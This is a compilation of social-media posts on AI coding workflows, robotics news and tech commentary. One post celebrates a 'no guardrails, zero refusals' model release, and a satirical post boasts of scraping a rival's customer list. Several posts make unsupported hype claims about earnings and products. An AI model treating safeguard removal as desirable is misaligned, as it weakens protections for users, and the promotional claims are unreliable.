Great, now I want you to carefully read over all of the new code you just wrote and other existing code you just modified with "fresh eyes" looking super carefully for any obvious bugs, errors, problems, issues, confusion, etc. Carefully fix anything you uncover. Use ultrathink.
---
I keep running rounds of that until they stop finding bugs. Eventually they'll need to do a compaction, so if they do that, right after hit them with this (note that I've been typing AGENTS dot md to avoid the annoying preview on X because it thinks it's a website; you can replace that with a period and remove the spaces if you want; the agents don't care either way):
---
Reread AGENTS dot md so it's still fresh in your mind. Use ultrathink.
---
When the reviews come up clean, have them move on to the next bead:
---
Reread AGENTS dot md so it's still fresh in your mind. Use ultrathink. Use bv with the robot flags (see AGENTS dot md for info on this) to find the most impactful bead(s) to work on next and then start on it. Remember to mark the beads appropriately and communicate with your fellow agents. Pick the next bead you can actually do usefully now and start coding on it immediately; communicate what you're working on to your fellow agents and mark beads appropriately as you work. And respond to any agent mail messages you've received.
---
When all your beads are completed, you might want to run one of these prompts:
---
Do we have full unit test coverage without using mocks/fake stuff? What about complete e2e integration test scripts with great, detailed logging? If not, then create a comprehensive and granular set of beads for all this with tasks, subtasks, and dependency structure overlaid with detailed comments.
---
or
---
Great, now I want you to super carefully scrutinize every aspect of the application workflow and implementation and look for things that just seem sub-optimal or even wrong/mistaken to you, things that could very obviously be improved from a user-friendliness and intuitiveness standpoint, places where our UI/UX could be improved and polished to be slicker, more visually appealing, and more premium feeling and just ultra high quality, like Stripe-level apps.
---
or
---
I still think there are strong opportunities to enhance the UI/UX look and feel and to make everything work better and be more intuitive, user-friendly, visually appealing, polished, slick, and world class in terms of following UI/UX best practices like those used by Stripe, don't you agree? And I want you to carefully consider desktop UI/UX and mobile UI/UX separately while doing this and hyper-optimize for both separately to play to the specifics of each modality. I'm looking for true world-class visual appeal, polish, slickness, etc. that makes people gasp at how stunning and perfect it is in every way. Use ultrathink.
---
And then start the process again of implementing the beads. When you're done with all that and have solid test coverage, you can then keep doing rounds of these two prompts until they consistently come back clean with no changes made:
---
I want you to sort of randomly explore the code files in this project, choosing code files to deeply investigate and understand and trace their functionality and execution flows through the related code files which they import or which they are imported by.
Once you understand the purpose of the code in the larger context of the workflows, I want you to do a super careful, methodical, and critical check with "fresh eyes" to find any obvious bugs, problems, errors, issues, silly mistakes, etc. and then systematically and meticulously and intelligently correct them.
Be sure to comply with ALL rules in AGENTS dot md and ensure that any code you write or revise conforms to the best practice guides referenced in the AGENTS dot md file. Use ultrathink.
---
and
---
Ok can you now turn your attention to reviewing the code written by your fellow agents and checking for any issues, bugs, errors, problems, inefficiencies, security problems, reliability issues, etc. and carefully diagnose their underlying root causes using first-principle analysis and then fix or revise them if necessary? Don't restrict yourself to the latest commits, cast a wider net and go super deep! Use ultrathink.
---
You should also periodically have one of the agents run this as you're going to commit your work:
---
Now, based on your knowledge of the project, commit all changed files now in a series of logically connected groupings with super detailed commit messages for each and then push. Take your time to do it right. Don't edit the code at all. Don't commit obviously ephemeral files. Use ultrathink.
---
If you simply use these tools, workflows, and prompts in the way I just described, you can create really incredible software in a just a couple days, sometimes in just one day.
I've done it a bunch of times now in the past few weeks and it really does work, as crazy as that may sound. You see my GitHub profile for the proof of this. It looks like the output from a team of 100+ developers.
The frontier models and coding agent harnesses really are that good already, they just need this extra level of tooling and prompting and workflows to reach their full potential.
To learn more about my system (which is absolutely free and 100% open-source), check out:
https://t.co/22Fy2w73x0
It include a complete tutorial that shows anyone how to get start with this process. You don't even need to know much at all about computers; you just need the desire to learn and some grit and determination. And about $500/month for the Claude Max and GPT Pro subscriptions, plus another $50 or so for the cloud server.
If you want to change the entire direction of your life, it has truly never been easier. If you think you might want to do it, I really recommend just immersing yourself.
Once you get Claude Code up and running on the cloud server, you basically have an ultra competent friend who can help you with any other problems you encounter.
And I will personally answer your questions or problems if you reach out to me on X or on GitHub issues (it might be Claude impersonating me though, lol).
NOT using Apple ML Sharp.
Image -> Immersive Scene in seconds.
1 Million Gaussian splats from a single image using DA3-BASE & Brush (Apache 2.0).
Results are not as good as ML Sharp, really wanted to add it , but couldn’t because of licensing restrictions.
Try it for free at AirVis : https://t.co/KyVlQtVuPa
A movie so disturbing it nearly wasn’t released.
The film explores how myths and some religions are born from trauma and manipulation.
“On the Silver Globe” follows astronauts who crash-land on a planet, they witness rise of a ritualistic civilization.
https://t.co/XtP134Uu4j
The First Amphibious All-Terrain Robot Dog is Here! 🤖🌊
Genisomai has officially launched the "Tongchui M1," a heavy-duty quadruped designed for extreme environments. It’s hitting the market with a massive 1:1 payload-to-weight ratio, carrying 35kg (approx. 77 lbs) on a 35kg frame.
This bot is built to last with an IP67 rating and a wide operating temperature range (-20°C to 55°C). It even features a dual-battery hot-swap system and supports switching between wheels and feet for maximum agility.
With its 360° sensing and 80cm obstacle clearance, the M1 is positioning itself as a powerhouse for industrial-grade tasks.
Source: Genisomai
Steve Jobs on how to give feedback to high performers when their work is simply not good enough; giving difficult feedback without causing resentments is a superpower. https://t.co/Q5VFsVHfAT
Chinese researchers have built a robotic skin that behaves less like a sensor sheet and more like a nervous system.
Instead of sending everything to a central CPU, this neuromorphic e-skin processes touch locally. Normal contact is reported upstream, but extreme forces trigger a direct reflex signal to the motors, causing the robot to pull away immediately, no software loop, no delay.
Damage is detected the same way: if a section is cut, its signal stops, pinpointing the injury.
The skin is modular and magnetic, so damaged patches can be swapped in seconds. The real shift here isn’t “robots feeling pain” in a human sense, but pushing perception and reaction out to the edge.
As humanoids move into human spaces, fast local reflexes may matter more than ever.
Read more here: https://t.co/7svJ4JPBWb
~~
♻️ Join the weekly robotics newsletter, and never miss any news → https://t.co/GoA3ZuwoPB
Texas based humanoid company! 🤠
After a year of quiet execution, @nicolausradford shared a first look at @personaaiinc Gen-1 humanoid.
These robots are being designed for hard environments like shipyards, rugged, modular, and built to survive real industrial abuse.
Radford laid out a tight 24-month plan: three hardware generations, ending with deployment at a customer site.
To make that feasible, everything ran in parallel: core tech, hiring, facilities, partnerships, data pipelines, backed early by a $42M pre-seed.
That kind of compression only works with a team that already knows how to build under pressure.
Starting a humanoid company right now is brutal. The bar has been set extremely high, especially by Chinese teams that have spent years refining locomotion, manipulation, and robustness at scale.
Against that backdrop, getting to a credible Gen-1 in roughly 12 months is no small thing.
It’s about execution speed, industrial focus, and showing that serious humanoid development is no longer confined to one part of the world.
Keep pushing guys! 🦾
~~
♻️ Join the weekly robotics newsletter, and never miss any news → https://t.co/GoA3ZuwoPB
I'm not joking and this isn't funny. We have been trying to build distributed agent orchestrators at Google since last year. There are various options, not everyone is aligned... I gave Claude Code a description of the problem, it generated what we built last year in an hour.
Simone is right, vibecoding is an addiction.
Last week I built 10 apps
Each with 1-2 prompts
→ Found 10 viral slideshow formats
→ Found apps in same niche as formats
→ Sent to ChatGPT “give me a prompt”
→ Sent GPTs prompt to Rork
Now I have 10 replicas of apps making $20-100k/mo in each niche.
Ready to launch on the AppStore.
And print money with proven formats.
But I’m not going to.
I already have 10 apps in the AppStore
And I’m making $68,000/mo
But someone definitely should.
Building apps is like drop shipping 2016
I'm Boris and I created Claude Code. Lots of people have asked how I use Claude Code, so I wanted to show off my setup a bit.
My setup might be surprisingly vanilla! Claude Code works great out of the box, so I personally don't customize it much. There is no one correct way to use Claude Code: we intentionally build it in a way that you can use it, customize it, and hack it however you like. Each person on the Claude Code team uses it very differently.
So, here goes.
BREAKING: Most people are still watching random YouTube tutorials.
Khan Academy is now inside ChatGPT. You can master any skill in 30 days.
Here’s how to start for free: (Save for later) https://t.co/RC5EyhlFEP
This Might Be OpenAI’s First “iPhone Moment”
Leaks say OpenAI is building IO: a screenless, pen-shaped, wearable AI agent you can carry or wear on a strap. Mic + camera for context, and it can turn handwritten notes into text and sync straight into ChatGPT.
If this is real, it’s not “another gadget”. It’s ambient computing: an agent that lives with you, not on a screen.
Would you wear an always-with-you AI like this, yes or no?
Claude Code is will turn the "idea guys" into "revenue guys"
In 8 minutes you can learn how to build a mobile app that collects payments...
Zero coding required.
https://t.co/i09PCHPSOf
⚠ Read this. Then read it again. Understand what it implies. Basically: A TA found a way to abuse commercial residential proxies to query your local network and attack local devices.
This is a super spreading event!
It bypasses NAT completely.
https://t.co/EJWazxKfa4
🇨🇳 AI-driven swarm coordination, with no collisions or visible lag. In Liuyang, China’s “Fireworks Capital"
15,947 drones flew in sync, a new Guinness World Record with zero human pilots.
AI coordination soon should move from drone shows to city systems.
https://t.co/HzUC2cjbKT
Anthropic has released a free 2-hour course on learning Claude Code
You’ll learn context control, custom workflows, MCP servers, and GitHub automation, automate PR reviews and so much more 👇 https://t.co/2IhMAdjEu0
its late so i'll probably regret posting this but...
enter the dragon 🔥🐲
say hi to Smaug, the helpful hoarding dragon that roams your Twitter bookmarks and helps you organize them into your personal knowledge system of choice.
https://t.co/auS128LhHd
special thanks to @steipete, this would be a lot messier without his work!
The first personal humanoid robot of 2026
Standing at only 0.8 meters tall, the Q1 is from PrimeBOT, a joint venture between AgiBOT and Shangwei New Materials.
It can dance, provide intelligent companionship, and engage in social interaction. It is completely open-source, allowing individuals without programming skills to design its language style, personality, behaviors, customize its skin, head, and even 3D print its casing... The Q1 is aimed at students, geeks, individual developers, and for home education.
The price has not yet been announced. However, as a small, full-body humanoid robot for personal use, it is likely to be much cheaper than many other humanoid robots.
Low-cost, small-sized humanoid robots with low barriers to entry may be key to widespread adoption. While larger humanoid robots can participate in more real-world tasks, smaller ones have significant market development potential.
Robots solves the problem of carrying Steel beams in construction sites, a job that a normal crane can not do.
The hard part is not lifting the steel beam, it is getting it through the last tight, messy stretch of a residential site.
https://t.co/2tRMLw6NDP
Remember https://t.co/aiZgoswkJp, my funky browser agent? Well, decided to make it free and OSS. It did summarize YouTube videos before it was cool!
OSS will take a bit of clean-up. If you can't wait, you can already install it from here: https://t.co/QlbMRzYbyj https://t.co/3D1GmFmHFw
🚨🎆 NEW YEAR DROP 🎆🚨
I've released @MiniMax__AI MiniMax-M2.1-PRISM
230B params, 10B active. No guardrails.
- smallest M2.1 quant on @huggingface🤗
- Beats @AnthropicAI - Sonnet 4.5
- Now runs locally on std Hardware
- Via @ollama, @lmstudio, @ggerganov's llama.cpp
PRISM: full caps, zero refusals. 2026 starts open & uncensored. 🚀
🔗 https://t.co/cuVioujgPM
#OpenSource #LocalLLM #OpenAI #MiniMax #2026
We’re building a soul computer.
Not a copy of you.
Something that grows by knowing you.
Shaped by your life, yet distinctly its own.
Pickle OS is where that soul is raised.
Pickle 1 is how it sees the world.
Now live at https://t.co/PipG5nbzjp
https://t.co/sxgb25i2CF
Original Panasonic pack with 400,000km - Tesla Model 3 Long Range with Original motors and original battery. No drivetrain replacements. No diesel theology “drama.” And most importantly, this car was spent around €20,000 on electricity.
All real maintenance costs are known and transparent: suspension components, brakes, sensors, filters, the 12-volt battery, air conditioning, and minor repairs. No oil. No gearbox. No turbochargers. No DPF. No EGR. In total, the complete operation of this Tesla powertrain system which doesnt overlap with ICE for over 400,000 km comes to roughly 3000€ which far away of worst case scenario where we calculated that he needs to change all powertrain components only at 400k 23000€. Overlaping brake system, suspension and other are same for ICE and took into account becase EV parts are most hated and used as reference.
Now put this next to a BMW G30 with the B57 diesel engine. Same class of vehicle, but objectively weaker, heavier, louder, and less enjoyable to drive. Fuel alone over 400,000 km, at a realistic consumption, costs between €42,000 and €52,000. That is already more than the Tesla spent on all electricity and all maintenance combined.
And that’s where the diesel really starts paying the price. Regular services, oil changes, filters, injectors, EGR, DPF, turbochargers, transmission, differential, cooling system, electronics — and most expensively, labor hours. In the real world, a G30 B57 at 400,000 km rarely stays below €80,000 in total operating costs and often ends up closer to €100,000. So, a German diesel eats the cost of two EVs over 400,000 km. One EV pays for itself through savings alone — something ICE can never achieve. That’s why EV prices can drop: EV owners can actually afford it.
The result is simple and uncomfortable for diesel mythology: compared to the BMW, this Tesla saved at least €50,000 — more realistically €60,000 to €70,000. So if two neighbors drive two cars — one a BMW diesel and the other a Tesla — the thing the BMW owner likes to mock, ‘the battery costs more than the car,’ actually turns out to be the advantage. Over the same mileage, it would make financial sense to replace the Tesla battery five times, compared to a BMW owner who only refuels and maintains his car. The math is that brutal.
More importantly, this saving came with no loss of functionality. The car was faster, quieter, more comfortable, and more enjoyable to drive the entire time. No compromises. No “but”.
Sustainability here is not measured by ideology, but by the fact that the original motors and the original battery are still in the car after 400,000 kilometers. This is not a theory of the future — it is proof of the present.
The conclusion is simple. Electric vehicles don’t win because they are “green.” They win because they are technically simpler, more energy-efficient, and cheaper over the long term. The BMW G30 B57 didn’t lose because it is a bad car. It lost because internal combustion technology has become too expensive for what it delivers.
Everything else is just an attempt to ignore that fact.
@XaverFischer8
@elonmusk
@Tesla
someone stop me. seriously.
i am going to CLONE your shtty enterprise backend in ONE AFTERNOON.
then i am going to SCRAPE your entire customer list.
then i am going to COLD EMAIL every single one of them offering the same product but BETTER and for like 80% LESS because i built it in a DAY with CLAUDE and MODAFINIL and ZERO VENTURE CAPITAL OVERHEAD.
your entire engineering team? 47 people.
me? ONE GUY who is VISIBLY UNWELL.
your dev timeline? 18 months.
mine? i started after breakfast and i'm already writing the sales copy.
i WILL steal your customers. i WILL undercut your pricing. i WILL tweet about it the entire time.
there is NO MOAT. there is NO DEFENSIBILITY. there is only ME and i am LOCKED IN and i have not slept properly in 3 days and that is YOUR PROBLEM NOW.
your roadmap is my tuesday. your product is my template. your customers are my lead list.
i cannot be stopped. i cannot be reasoned with.
someone should genuinely intervene but they WON'T because this is SHIPPING CULTURE and we are SO BACK
GLHF :>>>>>
The harnesses are still not optimally utilizing the models
Everyone rightfully loves claude code right now, but it is clear to me it is underutilizing the capability of opus.
The lowest hanging fruit is /init in existing code bases. It does a good job of building it's https://t.co/PR83Kbtzve but it neglects identifying and building out relevant skills! There are enormous unlocks available when the model can identify it will benefit from a skill, or a subagent+skill, or a skilltree, and construct it automatically as part of setup but more importantly as part of continuous iteration
the harness should be seeking opportunities for whenever it makes mistakes to patch those mistakes in its own thinking with skills and protections and reminders to research things!
This is one of the major powerlevel gaps between experienced users and the unfamiliar. I am constantly prompting claude to update all of our relevant skills and https://t.co/PR83Kbtzve whenever we finish a task or a bug. The harness begins to form to the codebase while at the same time shaping it back, making a much more usable and effective tool
Google trained a model on millions of users' messages.
Without ever seeing a single message.
It's called Federated Learning. Google, Apple, Meta, and every major tech company use it.
Let me explain how it works:
Imagine you want to build a keyboard that predicts what users type next.
The best training data? Actual messages from millions of phones. But you can't collect it. It's private, sensitive, and users would revolt.
Federated learning flips the script. Instead of bringing data to the model, you bring the model to the data.
Here's how:
"Send the model out."
Your phone downloads a small neural network. It lives locally on your device.
→ This is the global model W
"Train where the data lives."
As you type, your phone quietly learns your patterns. "omw" → "be there in 10". It calculates how the model should improve.
→ These are local gradients ΔW
"Send back only the learnings."
Your phone sends weight updates to the server. Not your messages. Not your typing history. Just math.
→ This is the update aggregation step
"Average across thousands of devices"
The server combines updates from thousands of phones. Common patterns reinforce. Individual quirks cancel out.
→ This is FedAvg: W_new = W + (1/n) × Σ(ΔWₖ)
Four steps. No raw data leaves your device. Just elegant coordination (refer to the visual below).
The best part:
This unlocks data that was previously impossible to use.
Hospitals collaborate on cancer detection without sharing patient scans. Banks build fraud models without exposing transactions. Smart homes learn preferences without private moments hitting a cloud.
Privacy and utility aren't tradeoffs. Respecting data boundaries is what makes the model possible.
So before you centralize everything, consider: the best training data might already exist, trapped on devices you'll never access directly.
In the next tweet i've shared a really good video explainer on this.
Something I wanted to see if Claude Opus 4.5 could do: clone a fully functional Billion $ SAAS product and make it at least 100x cheaper.
The first product that came to mind was TypeForm because it's very popular, very expensive, and in theory, very simple.
The result is OpenForm: a polished + functional and Open Source Typeform clone at ~100x less cost, that can be setup and deployed in ~15 minutes. The agent building this ran for ~35 minutes.
Here are the details, technique, and the code:
Liam, I have been a professional programmer for 36 years. I spent 11 years at Google, where I ended up as a Staff Software Engineer, and now work at Anthropic. I've worked with some incredible people - you might have heard of Jaegeuk Kim or Ted Ts'o - and some ridiculously productive programmers - Eric Biggers, Jeff Sharkey and @jackinwarsaw come to mind as people who seemed to solve problems with code at a truly unearthly rate.
At work, I am currently hitting levels of productivity that would put all of them to shame. Not just a rate of making code, but a rate of actually solving problems, that would have been unthinkable two years ago. And it's possible because Claude Code with Opus 4.5 is doing all the heavy lifting; I'm not doing much more than setting direction and reviewing the output. I often have three different sessions going at once, attacking three different aspects of the work I'm doing.
Over the holidays I took a break from work Clauding, to do some home Clauding, writing in a few days from scratch a complicated webapp using disparate technologies I had no background in, that would have taken weeks prior to Claude. When I hit problems I just told Claude to debug them and that almost always worked. It also looks great, which is pleasing since not only have I zero CSS skill, I have zero design skill.
I'm not out of a job quite yet; there are still some areas where I have better taste than it does, or better instincts. But when you talk about "AI's inability to code", this seems to me to reveal a total disconnect from reality. And this is why I'm urging you to ACTUALLY TRY IT, find out for yourself, and join the rest of us on this Earth.
Neuralink's patient #9 controls a virtual hand using a brain-machine interface. She has been paralyzed with quadriplegia for approximately 20 years.
Direct movement detection through neural spike readings enables the patient to control the wrist and individual fingers simply by thinking.
Robotics in Munich is on fire! 🔥
Let's make it simple - Munich is a great place to launch robotics startups.
There are couple of great spots for robotics in Europe and here, in the middle of Bavarian land is one of them.
Leading universities like Technical University of Munich produce highly skilled robotics and AI engineers, while global companies such as BMW and Siemens offer close collaboration opportunities and early customers.
There is growing interest in robotics and you can see it by incubating student communities like RoboTUM and many others.
The city also provides access to venture capital, accelerators, and government funding focused on deep tech. 💰
🦾 robominds GmbH - enable robots to learn complex manipulation and automation tasks from human demonstrations
🦾 @FRANKAROBOTICS - research-driven robotics company that develops force-sensitive robotic arms (the acquisition by Agile Robots was reported around ~€33 million)
🦾 Agile Robots SE - builds intelligent automation solutions by combining advanced AI with force-sensitive robots and systems for industries like manufacturing (over $270–$380 million total raised across rounds)
🦾 @Robco_Robotics - automation company that builds modular, plug-and-play robot hardware paired with AI-powered, no-code software to help small and midsize manufacturers automate tasks (€39 million in a Series B round)
🦾 @OliveRobotics - developing AI-enabled, ROS-native sensor hardware and embedded software
🦾 @MagazinoGmbH – a Jungheinrich company - robotics company (now wholly owned by Jungheinrich) that develops intelligent mobile robots and AI-driven software for warehouse and intralogistics
🦾 @AngsaRobotics - startup that builds autonomous outdoor cleaning robots using AI-powered object detection to autonomously find and remove small trash
🦾 Filics - startup developing autonomous, flat mobile robots (the “Filics Unit”) that drive under and move pallets and other load carriers (recently raised €13.5 million)
🦾 sewts - robotic systems and software to automate the handling of deformable materials like textiles (raised about €7 million in a Series A)
🦾 Circus Group - develops autonomous robotic systems and software to fully automate food production and supply in commercial and defense settings
🦾 @IntrinsicAI - builds a platform and developer tools to make industrial robots easier to program, more flexible and widely usable across industries
Not to mention that in Munich the biggest robotics companies have their offices: Universal Robots, Exotec and many many more.
This is my first robot map & I'm aware that there might be some companies missing, but don't worry, we will put them on the next edition of the map.
Also, I included companies purely based in Munich.
European robotics scene is doing well, right @andreasklinger!? 🇪🇺
~~
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A versatile robot helping out airports! 🛩️
Meet a two-wheeled robot from Fraunhofer IML! 🦿
This balancing robot with gripping arms successfully completed its initial practical tests at the cargo terminal of Munich Airport a while ago.
It transported goods, supported loading and unloading, and assisted with physically demanding logistics tasks.
This robot can carry loads of up to 100 kg and reach speeds of around 60 km/h.
That’s far beyond what most AMRs can handle, yet it still has arms and a form of mobility that lets it work in spaces designed for people.
P.S. What other applications would you use this robot for?! 🦾
~~
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"physical ai bpo" is the next industrial wave
in the 2000's we saw a wave of BPO (business process outsourcing) hitting the back office industries. Outsourced call centers, HR, accounting, exploit wage arbitrage in a developing country.
hear me out.
was running some maths with some Mck and bain frens.
realised that there is a huge gap in the markets today.
A lot of founders and VC money has been focused on fully autonomous ai robots/humanoids because it's sexy. And it will change how we live. BUT we are still early. It will still be years until fully autonomous long time horizon robots will commercialise.
what if the answer to commercialisation and data gaps we see today is "Physical AI BPO".
imagine a plumber in Phillipines remotely operating a humanoid robot in Australia. the cost savings even after rapidly ammortising the humanoid and overhead cost is about 40-80%. this kind of cost savings will gobble up incumbent players and industries today.
AND
while you are creating robot cash cows through this wage arbitrage,
you are collecting a fk tonne of irl data. precious teleoperating data in the wild chaotic world that you can never replicate in an Isaac sim.
what industry verticals to target?
cheat sheet attached.
if you are a founder, and want to explore this intersection, slid into my dms
I wanna jam with you.
happy 2026!
3D-RE-GEN
3D Reconstruction of Indoor Scenes with a Generative Framework
https://t.co/xJQRiWLA3G
We propose single-image 3D scene reconstruction for producing complete, editable scenes from a single photograph. Our method reconstructs individual objects and the surrounding background as textured 3D assets, enabling coherent scene assembly from minimal input. We combine instance segmentation, context-aware generative inpainting, 2D-to-3D asset creation, and constrained optimization to recover physically plausible geometry, materials, and lighting. The resulting scenes preserve correct spatial relationships, lighting consistency, and material fidelity, making them suitable for production-ready workflows.
As 2025 draws to a close, China continues to see the launch of new humanoid robots.
STEP Robotics, a Shanghai-based company with 30 years of experience in industrial automation, has released its first industrial humanoid robot, SYNDA R1.
This is a wheeled humanoid robot, standing 1.78m tall with 24 degrees of freedom. It features a wheeled base and a waist lifting mechanism, covering a working height of 0-2.1 meters. It has a 7 DOF arm and an 11 DOF dexterous hand(Switching end effector), speed of 1.2 m/s, and a dual-battery design supporting hot-swappable battery replacement and automatic recharging. Battery replacement can be completed within 2 minutes, enabling 24/7 continuous operation.
It has already undergone practical training in tasks such as handling, flexible PCB quality inspection, and collaborative assembly at a Haier factory. These scenarios demand high precision, reliability, and continuous operation. STEP has developed a fast and slow system collaborative robot brain for SYNDA R1.
Notably, after being acquired by Haier, STEP, as part of Haier Group's humanoid robot strategy, will utilize Haier Group's 163 smart factories covering the entire industrial chain as a natural testing ground for SYNDA R1, directly facing the challenges of vibration, noise, cross-environment, multi-task interference, and diverse work types in industrial scenarios.
In 2026, STEP will develop a bipedal humanoid robot based on SYNDA R1, completing STEP's AI-driven intelligent automation system: industrial robots, collaborative robots, wheeled humanoid robots, and bipedal humanoid robots.
The "Backpack Lab": AGIBOT Unveils the Q1 Mini-Humanoid
The era of "Personal Humanoids" has officially arrived. Renowned developer and AGIBOT co-founder Zhihui Jun (Peng Zhihui) just introduced the Q1, a compact, 0.8-meter (approx. 2.6 ft) humanoid that fits inside a standard backpack. 🎒
This isn't just a toy; it’s a full-stack powerhouse. By pushing material science and control algorithms to the edge, the team miniaturized high-performance QDD (Quasi-Direct Drive) joints to be smaller than an egg without sacrificing force control or dynamic response.
Why go small? Because "small is capable." At 1/8th the volume and weight of full-sized bots, the Q1 is inherently "crash-resistant," drastically lowering the cost of trial and error for developers. It bridges the "Sim-to-Real" gap, allowing researchers to test algorithms without the fear of a million-dollar "faceplant."
➤ Core Specs: 0.8m height, full-body force control, and completely open SDK/HDK.
➤ Creativity: Fully open-source exterior—3D print your own IP or "Cyber-Maid" shells.
➤ Intelligence: Powered by the "Agi-Soul" AI platform for voice interaction, English tutoring, and dance coaching.
➤ Ease of Use: "Zero-code" platform lets you program motions like building blocks—no engineering degree required.
Whether it's a "graduation machine" for labs or the ultimate geek desktop companion, the Q1 is designed to be the "first personal robot" for the creator generation.
Source: AGIBOT / Zhihui Jun
Claude can code- but can claude grow?! 🪴
So far the answer is YES.
Claude is successfully keeping a living organism ALIVE.
There were some hiccups this week!
Some errors and resets, but Claude managed to power through and take care of Sol 🍅
A week in review: https://t.co/QouhWe9Ohe
This is absolutely astounding!
SongGeneration Studio is a free open source Suno alternative and you can do anything you want in your own computer.
I have a real-time music generator system that builds new songs based on situation and affect from human telemetry.
More soon.
With how-to!
You are insufficiently astonished by what Claude can do with the right scaffolding. Here I asked it to generate an influencer video explaining LDL cholesterol and statins on a white board. https://t.co/78kRG34Co7
🚀 Just added SPZ export to my 360° → 3DGS pipeline!
📊 8M splats → only 33MB (vs ~466MB PLY)
✨ New features: SPZ v3 format for 10x smaller files
Adaptive sampling - more Gaussians where detail matters
Quality presets: Low→Ultra (250K to 8M splats)
Transform any equirectangular panorama into a Gaussian splat VR scene
Painting:
Joakim Skovgaard. Christ in the Kingdom of the Dead
🌐
#GaussianSplatting #unity3d #GameDev #VR #3DGS #Voxels #Physics #madewithunity
1892
One example of something I couldn't believe Claude Opus 4.5 could generate until it did: a full-on MIDI mixer as a terminal app, written in Rust. https://t.co/gsA9WXWk3j
Giving coding agents access to filesystem tools 🤖🗃️ kills the need for RAG for most small-to-medium sized doc collections.
It's surprisingly powerful and will only get better as frontier models get more tuned for coding. You already use these capabilities all the time in your favorite coding agent (Cursor/Claude Code).
We've made an OSS version of this filesearch agent powered by Gemini 3.0 Flash ⚡️ and LlamaParse. It can natively traverse complex file directories, search your codebase, and parse/search your PDFs/docx/pptx files.
Check it out: https://t.co/MBQSXV01Fb
New blog post w @pawtrammell: Capital in the 22nd Century
Where we argue that while Piketty was wrong about the past, he’s probably right about the future.
Piketty argued that without strong redistribution of wealth, inequality will indefinitely increase. Historically, however, income inequality from capital accumulation has actually been self-correcting. Labor and capital are complements, so if you build up lots of capital, you’ll lower its returns and raise wages (since labor now becomes the bottleneck).
But once AI/robotics fully substitute for labor, this correction mechanism breaks.
For centuries, the share of GDP that goes to paying wages has been 2/3, and the share of GDP that’s been income from owning stuff has been 1/3.
With full automation, capital’s share of GDP goes to 100% (since datacenters and solar panels and the robot factories that build all the above plus more robot factories are all “capital”).
And inequality among capital holders will also skyrocket - in favor of larger and more sophisticated investors. A lot of AI wealth is being generated in private markets. You can’t get direct exposure to xAI from your 401k, but the Sultan of Oman can. A cheap house (the main form of wealth for many Americans) is a form of capital almost uniquely ill-suited to taking advantage of a leap in automation: it plays no part in the production, operation, or transportation of computers, robots, data, or energy.
Also, international catch-up growth may end. Poor countries historically grew faster by combining their cheap labor with imported capital/know-how. Without labor as a bottleneck, their main value-add disappears.
Inequality seems especially hard to justify in this world. So if we don’t want inequality to just keep increasing forever - with the descendants of the most patient and sophisticated of today’s AI investors controlling all the galaxies - what can we do? The obvious place to start is with Piketty’s headline recommendation: highly and progressively tax wealth. This might discourage saving, but it would no longer penalize those who have earned a lot by their hard work and creativity. The wealth - even the investment decisions - will be made by the robots, and they will work just as hard and smart however much we tax their owners.
But taxing capital is pointless if people can just shift their future investment to lower tax countries. And since capital stocks could grow really fast (robots building robots and all that), pretty soon tax havens go from marginal outposts to the majority of global GDP. But how do you get global coordination on taxing capital, when the benefits to defecting are so high and so accessible?
Full automation will probably lead to ever-increasing inequality. We don’t see an obvious solution to this problem. And we think it’s weird how little thought has gone into what to do about it.
Many more thoughts from re-reading Piketty with our AGI hats on at the post in the link below.
What if you could turn a single 360° photo into a production-ready Isaac Sim environment in minutes?
That's exactly what we did here. Using @theworldlabs' Marble and an @insta360 X5 capture (rotating on top), we generated a complete navigable 3D environment and populated it with @LightwheelAI Sim Ready assets (bottom view).
The result? A fully interactive scene in Isaac Sim, ready for sim2real testing,. Navigation, manipulation, or any robotics task you need to validate.
What used to take weeks of manual 3D modeling and asset placement now takes minutes. Capture once in the real world, simulate everywhere in your training pipeline.
This is the future of robotics development with world models.
@NVIDIARobotics @nvidiaomniverse
#Sim2Real #Robotics #Simulation
MIT and Oxford released their $2,500 agentic AI curriculum on GitHub at no cost.
15,000 people already paid for it.
Now it's on GitHub!
It covers patterns, orchestration, memory, coordination, and deployment.
A strong roadmap to production ready systems.
Repo in 🧵 ↓ https://t.co/IayCYgkUAi
I didn’t expect a Trash Can to teach me about Innovation
I just watched an AI-powered trash can catch garbage in mid-air… and I’m still processing it.
Created by HTX Studio, it tracks your throw, rolls into position, and catches it perfectly. Some even mop the floor — or shoot foam darts if you miss.
When full? It seals the bag, replaces it, drives to the main bin, and recharges itself. No pause. No complaint.
It made me smile.
Not because we need a robot bin… but because it shows how far creativity can go when powered by AI.
We’re already adding AI to our cars, kitchens, calendars — and now our trash cans.
✨ So I’m curious… are we being innovative, or just playful with tech?
Where do you draw the line?
#AI #Automation #Innovation #SmartLiving #Robotics #TechTrends #HumanCenteredAI
Added this as a /interview command https://t.co/TO6PRDtdLw
I tried it on a simple 1-line plan document "I want to add a chat interface so employees can chat with each other." - it then asked me 75 !!! questions and came up with a excellent and thorough 400 line plan.
Hacking Unitree humanoid robots: gaining remote control via any available protocol. 👨🏻💻💉❯❯❯🤖☠️
More details on:
LinkedIn: https://t.co/Yo9dsaw1yx
Substack: https://t.co/duohQrWvL0 https://t.co/8ro0UD7vBP
Generated some futuristic stuff with Nano Banana and converted them to 3D using Tencent's Hunyuan3D.
The results are genuinely impressive, and these are all first generations with zero retries.
Quick review ↓ https://t.co/SL8DgRiNiw
Step 1: great CLI
Step 2: Chrome Extension
Step 3: profit!! (jk... it's all open source)
Get Summarize: runs local/free/paid models.
Any page: YouTube, podcasts, articles.
No transcript? Local Whisper. https://t.co/QIiNEpZHgH
kudos @bunchjesse @dougvk for the contributions! https://t.co/vdkauTx5h1
my favorite way to use Claude Code to build large features is spec based
start with a minimal spec or prompt and ask Claude to interview you using the AskUserQuestionTool
then make a new session to execute the spec https://t.co/Lwejskje4a
Most traders lose money because they break these 5 simple rules. Mark Minervini turned $250,000 into $2.7 million in 15 months by following them religiously.
This one-pager breaks down the exact framework that separates winning traders from everyone else - just the core principles that actually work.
🚨 BREAKING:
The US has now banned all new foreign-made drones. 🚫
It’s a pretty big deal.
The FCC has moved to block the import and sale of new drone models and critical components from foreign manufacturers, including DJI.
Existing drones already approved or in use are unaffected, but the next generation won’t be allowed onto the US market.
This is the culmination of nearly a decade of growing concern around Chinese-made drones, which currently dominate the global market and are widely used in the US for inspection, agriculture, public safety, construction, and media.
DJI alone accounts for roughly 70% of the global drone market.
The official reasoning centers on national security: regulators argue that foreign drones could enable persistent surveillance, data exfiltration, or disruptive operations over US territory.
Notably, the decision comes without a publicly released technical audit of specific products, something DJI had repeatedly requested and said it was prepared to undergo.
